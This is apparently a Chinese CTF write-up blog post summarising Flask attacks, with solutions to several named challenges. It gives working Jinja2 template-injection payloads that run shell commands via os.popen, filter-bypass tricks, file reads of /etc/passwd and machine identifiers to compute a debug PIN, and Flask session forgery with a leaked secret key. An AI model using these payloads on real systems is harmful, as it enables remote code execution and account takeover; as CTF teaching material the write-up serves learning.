[toc]
菜鸡刚接触 flask 不久,在此自不量力地总结一波flask的漏洞利用
概述
以下的总结,源于本人刷题过程中的摘录
目前遇到的flask漏洞,主要是三类
- jinja2 模板注入
- PIN 码 rce
- session 伪造
知识点汇总
这里是以 flask 漏洞利用为主题的 知识点总结
flask基础
要想利用好flask 首先需要一定的知识储备
以下是关乎主题的 flask 基础知识
jinja2 ssti
jinja2 模板注入
python base
先要掌握一些 关乎主题的 python 基础知识
ssti tricks
然后就是各种tricks了
PIN rce
PIN 的概念,和利用的脚本
重要的是理解怎么利用 PIN 进行 rce
session forgery
session 伪造的脚本,至于客户端session 的危害,可以参考p神的文章
重要的是意识到 flask 的session 的脆弱,并会跑脚本
https://github.com/noraj/flask-session-cookie-manager
session伪造的项目,使用这个脚本可以实现 encode 和 decode
https://www.leavesongs.com/PENETRATION/client-session-security.html
p神对 客户端 session 的探究
实战
以下是一些关于 flask 的web 题的解题思路
[GYCTF2020]FlaskApp
在decode 随便输入
可以看到开了 debug 模式
用到 render_template_string ,有ssti
试试看
1 | {{1-1}} |
没问题
那就开始注入
先确定一波它拦截了什么
1 | eval |
跑个脚本,找找 __builtins__
1 | {{().__class__.__mro__[1].__subclasses__()[75].__init__.__globals__}} |
用 open 来读读源码,估计是app.py
1 | b64encode(r"""{{().__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']("app.py").read()}}""") |
整理一下
1 | from flask |
1 | black_list = ["flag", "os", "system", "popen", "import", "eval", "chr", "request", "subprocess", "commands", "socket", "hex", "base64", "*", "?"] |
但是可以通过字符拼接绕过
1 | b64encode(r"""{{().__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['__impor'+'t__']('o'+'s')['po'+'pen']("ls").read()}}""") |
接下来就去找flag
1 | ls / |
1 | "cat /this_is_the_fl"+"ag.txt" |
1 | flag{44a183de-8167-4881-8161-492418541045} |
也可以用 pin 来 rce
在hint 中就有提示
试试看
先确定要素
app.py 的位置
1 | /usr/local/lib/python3.7/site-packages/flask/app.py |
读一读 /etc/passwd
1 | b64encode(r"""{{().__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}""") |
猜测username
1 | flaskweb:x:1000:1000::/home/flaskweb:/bin/sh |
看看 machine-id
1 | b64encode(r"""{{().__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('/proc/self/cgroup').read()}}""") |
1 | 940dec83f9c962beb9b36e3ea1998021954fd83ce1539eac285c2d49024fd3fb |
看看mac地址
1 | b64encode(r"""{{().__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('/sys/class/net/eth0/address').read()}}""") |
1 | 02:42:ac:10:92:5c |
处理一下
1 | 2485377864284 |
计算pin
1 | import hashlib |
1 | 181-776-943 |
得到flag
1 | flag{44a183de-8167-4881-8161-492418541045} |
[CSCCTF 2019 Qual]FlaskLight
很粗糙的一个网站
get 参数,为 search
没有太大问题
这里也没问题
跑个脚本,找可用的模块
发现拦截了 globals
但是可以通过拼接字符串绕过
1 | "__glob"2b"als__" |
1 | ?search={{().__class__.__mro__[1].__subclasses__()[59].__init__["__glob"%2b"als__"]["__builtins__"]["__import__"]("os").popen("ls").read()}} |
找flag
1 | flag{b61df7f6-3e3a-4edc-89e3-65e530575069} |
[RootersCTF2019]I_<3_Flask
感觉没有下手的地方
尝试,发现参数
1 | ?name |
没有过滤什么
直接跑脚本,找到可用的模块
1 | ?name={{().__class__.__mro__[1].__subclasses__()[105].__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read()}} |
得到flag
1 | flag{aadcb791-f3f4-49f4-ad52-a2c9b538c4ff} |
[pasecactf_2019]flask_ssti
很直白,就是考ssti
但是有拦截
1 | . |
可以绕过
1 | Cookie: UM_distinctid=17705637df30-08003bc12e4fd68-4c3f207e-e1000-17705637df4b3; a=__class__; base=__base__; sub=__subclasses__; init=__init__; globals=__globals__; builtins=__builtins__; getitem=__getitem__; eval=eval; import=__import__; popen=popen; read=read |
找flag
1 | cat * |
看源码
1 | def encode(line, key, key2): |
可见flag在 config 当中
1 | 'flag': '-M7\x10wH6l0\x04 k~\x0e\x1eXj\x00(DIH\x0b\x17!3\x04i\x02XG\x0b \x05z*Ej\x13\x0fKG'} |
要逆向
实际上,只不过用到了 ^ 的性质,很简单
1 | flag{94bb4285-ac07-4ab5-88d9-41c57a4a250d} |
[HCTF 2018]admin
试试看注册一个username为admin的账户,果然返回admin被注册了
所以先随便注册一个
1 | hello |
有一个/post可以访问,但是用hello账号访问时404notfound,猜测用admin登录会得到flag
还可以修改密码
这时候就有思路了,可以修改admin账户的密码,或者注册一个 admin’#之类的账户
先试试看改密码
可能是根据session来判断身份的
试试看抓注册的包
经过尝试,发现注册的时候可能存在注入点
估计是执行insert语句,然后报错了
猜测一下后端代码,但是值得注意的是后端估计不是php开发的,大概率是python
1 | username = req.params["username"] |
如果有两步的话,就不知道这报错是第一步还是第二步的
所以最好把引号给闭合了
1 | username='or 1 or' |
这样的话,估计就有一个username 为1的账号
但是报错了,估计用的是双引号
1 | username="or 1 or" |
又报错了,感觉没戏
又来到change password页面,看看源码,看到一段注释
1 | <!-- https://github.com/woadsl1234/hctf_flask/ --> |
访问一下
是源码
可以看到,index.html有对session[‘name’]进行判断,如果是admin,就会显示flag
从而可以确定了,sql注入应该是没戏了
用到了flask,可以解密session看看session是基于什么东西生成的
https://github.com/noraj/flask-session-cookie-manager
有专门的项目,破解flask的session
1 | Cookie: UM_distinctid=17705637df30-08003bc12e4fd68-4c3f207e-e1000-17705637df4b3; session=.eJw9kM2KwkAQBl9l6bMHjXoJeIhMFA89wdCbMH0R18Qk86OQKBtHfPcdXPD80VVUP-Fw7uuhhfjW3-sJHLoK4id8_UAMvFUj-qqTYmOkTj1G6TKjtctE5ZDWOqPTQ1LVZYINi8KgLixrXEjHWlIyZ6emTHmryr2XwlqM9lPlc40-d1wWLQsVsT7NM1IP5ZuHFMZLSpeqVDMV7UYWlUGhFlLI4GsipqplV3S8za2ixKNTI2u20qUreE3gNPTnw-1q6ssnAX3imcKJC1q90Si-x6AIaBkQIY1yHVTzkGS4xF8mHDlZvXGdOzb1h1SYnS-b_-VydGGAtrb2ChO4D3X__hvMpvD6A7Ahb0Y.YBpCBQ.i3fX74MZZnyRO42VjT24cXjoQls |
1 | #python3 |
得到
1 | {'_fresh': True, '_id': b'df137b41d6133a990f87f10c97257b86dd5d25ef386fc507ff4e4aad349e3d4c4c34feead66f77962c82493519af5cb1d7d06843f186e7afebddea032f1f6e6a', 'csrf_token': b'303e5bfdc21c051511d3ea7b54ccb787dec0e31d', 'image': b'VB3Z', 'name': 'hello', 'user_id': '10'} |
可见,用户名hello就在这里面
如果把name的值设为admin,然后生成一个session,就可以冒充admin登录了
要生成session
去config.py中找到secret_key
1 | SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123' |
所以secret_key可以是ckj123
接下来生成session
1 | ython .\flask_session_cookie_manager3.py encode -s 'ckj123' -t "{'_fresh': True, '_id': b'df137b41d6133a990f87f10c97257b86dd5d25ef386fc507ff4e4aad349e3d4c4c34feead66f77962c82493519af5cb1d7d06843f186e7afebddea032f1f6e6a', 'csrf_token': b'303e5bfdc21c051511d3ea7b54ccb787dec0e31d', 'image': b'VB3Z', 'name': 'admin', 'user_id': '10'}" |
1 | .eJw9kEGLwjAQRv_KMmcPWvUieKikiodJscy2ZC6iprZNGhdaZduI_32DC54_5j3ePOF47cq-htW9e5QTODYaVk_4OsMKeKcG9LqRYmulSTxGyTKljUuFdkgbk9JllKSbVLBlkVs0ecsGF9KxkRTP2akpU1ar4uClaFuMDlPlM4M-c1zkNQsVsbnMU1Kj8tUohfWSkqUq1ExF-4GFtijUQgoZfFXEpGt2ec rFUUe3RqYMOtdMkaXhN31eP-x5e2TgD72TOHEBa3ZGhTfQ1AEtAyIkEaZCap5SLJc4C8TDhyv37jGnaryQ8rt3hfV_3I7uTDASbvmBhN49GX3_hvMpvD6A687bzs.YBpIKQ.aaxBjEPHdpKgsH2V5x99lnRWIHI |
然后就可以去伪造了
1 | flag{3bec85bf-8725-4f38-8d68-5dd5fc969c9e} |
[neuqcsa二月月赛] ezflask
从login的框框中输入一个东西,比如admin,然后这个admin就被打印在了页面上,猜测这个输入的username就是ssti的注入点
试试看其他的
1 | name={{"hello"}} |
看来是引号被过滤了
1 | name={{request.args.a}}/user?a=hello |
但是没有过滤request.args
过滤了[
但是可以用 |attr来取元素
1 | name={{()|attr(request.args.a)}} |
1 | name={{()|attr(request.args.a)|attr(request.args.b)}} |
一切正常
1 | name={{()|attr(request.args.a)|attr(request.args.b).pop(1)}} |
貌似但凡出现数字就被拦截
但是由于返回的实际上是tuple,所以不能用pop方法
1 | name={{()|attr(request.args.a)|attr(request.args.b)|attr(request.args.a)}} |
1 | name={{()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.a)}} |
新进展,用 __base__
拦截了数字
搜索之后,发现可以用 |int 来将字符串转换成 int
好像很难找到有 __builtins__
的模块
1 | name={{()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(request.args.g|int)|attr(request.args.e)|attr(request.args.f)}} |
1 | name={{()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()}} |
找到python3常用的类
1 | 127 |
但是它的 __init__
竟让没有__globals__
看看它的globals
1 | name={{()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(request.args.g|int)|attr(request.args.e)|attr(request.args.f)}} |
没有
换一个
1 | warnings.WarningMessage |
看看它的globals
1 | name={{()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(request.args.g|int)|attr(request.args.e)|attr(request.args.f)}} |
也没有
都没有,最后发现,只有两个有globals
一个是 g=128,一个是g=129
128
1 | {'__name__': '_sitebuiltins', '__doc__': '\nThe objects used by the site module to add custom builtins.\n', '__package__': '', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f0e0ce90f90>, '__spec__': ModuleSpec(name='_sitebuiltins', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f0e0ce90f90>, origin='/usr/local/lib/python3.7/_sitebuiltins.py'), '__file__': '/usr/local/lib/python3.7/_sitebuiltins.py', '__cached__': '/usr/local/lib/python3.7/__pycache__/_sitebuiltins.cpython-37.pyc', 'sys': <module 'sys' (built-in)>, 'Quitter': <class '_sitebuiltins.Quitter'>, '_Printer': <class '_sitebuiltins._Printer'>, '_Helper': <class '_sitebuiltins._Helper'>} |
129
1 | {'__name__': '_sitebuiltins', '__doc__': '\nThe objects used by the site module to add custom builtins.\n', '__package__': '', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f0e0ce90f90>, '__spec__': ModuleSpec(name='_sitebuiltins', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f0e0ce90f90>, origin='/usr/local/lib/python3.7/_sitebuiltins.py'), '__file__': '/usr/local/lib/python3.7/_sitebuiltins.py', '__cached__': '/usr/local/lib/python3.7/__pycache__/_sitebuiltins.cpython-37.pyc', 'sys': <module 'sys' (built-in)>, 'Quitter': <class '_sitebuiltins.Quitter'>, '_Printer': <class '_sitebuiltins._Printer'>, '_Helper': <class '_sitebuiltins._Helper'>} |
是python3.7写的
有一个sys模块
sys有一个 modules属性
试试看,看看里面有什么
1 | name={{()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(request.args.g|int)|attr(request.args.e)|attr(request.args.f)|attr(request.args.i)(request.args.j)|attr(request.args.m)}} |
1 | /user?a=__class__&b=__base__&c=__subclasses__&d=pop&e=__init__&f=__globals__&g=128&h=__builtins__&i=__getitem__&j=sys&m=modules |
1 | {'sys': <module 'sys' (built-in)>, 'builtins': <module 'builtins' (built-in)>, '_frozen_importlib': <module 'importlib._bootstrap' (frozen)>, '_imp': <module '_imp' (built-in)>, '_thread': <module '_thread' (built-in)>, '_warnings': <module '_warnings' (built-in)>, '_weakref': <module '_weakref' (built-in)>, 'zipimport': <module 'zipimport' (built-in)>, '_frozen_importlib_external': <module 'importlib._bootstrap_external' (frozen)>, '_io': <module 'io' (built-in)>, 'marshal': <module 'marshal' (built-in)>, 'posix': <module 'posix' (built-in)>, 'encodings': <module 'encodings' from '/usr/local/lib/python3.7/encodings/__init__.py'>, 'codecs': <module 'codecs' from '/usr/local/lib/python3.7/codecs.py'>, '_codecs': <module '_codecs' (built-in)>, 'encodings.aliases': <module 'encodings.aliases' from |
在上面这些modules中找出os
确实有
尝试一下
貌似问题不大
试试看调用它的__class__
发现确确实实是个class,试试看
先执行这个
1 | popen('ls').read() |
1 | name={{()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(request.args.g|int)|attr(request.args.e)|attr(request.args.f)|attr(request.args.i)(request.args.j)|attr(request.args.m)|attr(request.args.i)(request.args.o)|attr(request.args.p)(request.args.ls)|attr(request.args.read)()}} |
成功了
成功执行了命令
接下来就去找flag了
找到了flag,在根目录下
/flag.txt
1 | ?a=__class__&b=__base__&c=__subclasses__&d=pop&e=__init__&f=__globals__&g=128&h=__builtins__&i=__getitem__&j=sys&m=modules&o=os&p=popen&ls=cat+/flag.txt&read=read |
得到flag
1 | flag{Ssti_1s_dang3r0us!!!!} |
推荐阅读
jinja2 模板注入
https://0day.work/jinja2-template-injection-filter-bypasses/
介绍了很多实用的bypass,包括但不限于
_
、[]
https://jinja.palletsprojects.com/en/2.11.x/
jinja2 官方文档,探究源码有助于发掘并利用漏洞
https://houwenda.github.io/2020/02/22/jinja2-ssti/
https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/
作者尝试对 jinja2 ssti 做了全面的总结
http://docs.jinkan.org/docs/flask/index.html
flask 官方文档,有问题,就看官方文档
PIN 码 rce
-
讲解了Flask debug pin安全问题,即漏洞的利用与原理
session 伪造
https://github.com/noraj/flask-session-cookie-manager
session伪造的项目,使用这个脚本可以实现 encode 和 decode
https://www.leavesongs.com/PENETRATION/client-session-security.html
p神对 客户端 session 的探究